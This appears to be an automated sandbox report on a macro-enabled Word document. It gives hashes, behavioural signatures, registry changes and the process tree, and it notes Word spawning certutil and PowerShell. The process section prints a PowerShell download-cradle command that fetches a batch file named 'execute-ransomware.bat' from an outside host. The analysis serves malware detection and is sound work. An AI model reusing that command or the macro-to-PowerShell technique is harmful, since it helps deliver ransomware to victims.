Analysis
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max time kernel
153s -
max time network
112s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
20-05-2022 23:29
Static task
static1
Behavioral task
behavioral1
Sample
7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8.docm
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8.docm
Resource
win10v2004-20220414-en
General
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Target
7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8.docm
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Size
21KB
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MD5
68703d8cedb9a7eb60e981edf3139600
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SHA1
c51afd15c9094315807afa271037295eb001d5f4
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SHA256
7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8
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SHA512
7bb915317720dee5849cbd9e99d8ca1b00ccd84c974f2f8821f7c8c7fda4d4553d589079cebb162a52d021382d81fdb79f4fa1672c90f509f0060392039686ee
Malware Config
Extracted
http://www.huikeshoven.net/rWareSample/execute-ransomware.bat
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
certutil.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1104 864 certutil.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1188 864 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 1188 powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 864 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1188 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1188 powershell.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXEpid process 864 WINWORD.EXE 864 WINWORD.EXE 864 WINWORD.EXE 864 WINWORD.EXE 864 WINWORD.EXE 864 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 864 wrote to memory of 1104 864 WINWORD.EXE certutil.exe PID 864 wrote to memory of 1104 864 WINWORD.EXE certutil.exe PID 864 wrote to memory of 1104 864 WINWORD.EXE certutil.exe PID 864 wrote to memory of 1104 864 WINWORD.EXE certutil.exe PID 864 wrote to memory of 1188 864 WINWORD.EXE powershell.exe PID 864 wrote to memory of 1188 864 WINWORD.EXE powershell.exe PID 864 wrote to memory of 1188 864 WINWORD.EXE powershell.exe PID 864 wrote to memory of 1188 864 WINWORD.EXE powershell.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8.docm"1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\certutil.exe"C:\Windows\System32\certutil.exe" -f -p password -importpfx C:\Users\Admin\Downloads\rWareSamples\artifact-testing.pfx2⤵
- Process spawned unexpected child process
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" IEX (New-Object Net.WebClient).DownloadFile('http://www.huikeshoven.net/rWareSample/execute-ransomware.bat', 'C:\Users\Admin\Downloads\execute-ransomware.bat')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/864-54-0x0000000072201000-0x0000000072204000-memory.dmpFilesize
12KB
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memory/864-55-0x000000006FC81000-0x000000006FC83000-memory.dmpFilesize
8KB
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memory/864-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/864-57-0x00000000755A1000-0x00000000755A3000-memory.dmpFilesize
8KB
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memory/864-58-0x0000000070C6D000-0x0000000070C78000-memory.dmpFilesize
44KB
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memory/1104-59-0x0000000000000000-mapping.dmp
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memory/1188-61-0x0000000000000000-mapping.dmp
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memory/1188-63-0x0000000069EE0000-0x000000006A48B000-memory.dmpFilesize
5.7MB
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memory/1188-64-0x0000000004AD0000-0x0000000004BE4000-memory.dmpFilesize
1.1MB
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memory/1188-65-0x0000000004C70000-0x00000000052C1000-memory.dmpFilesize
6.3MB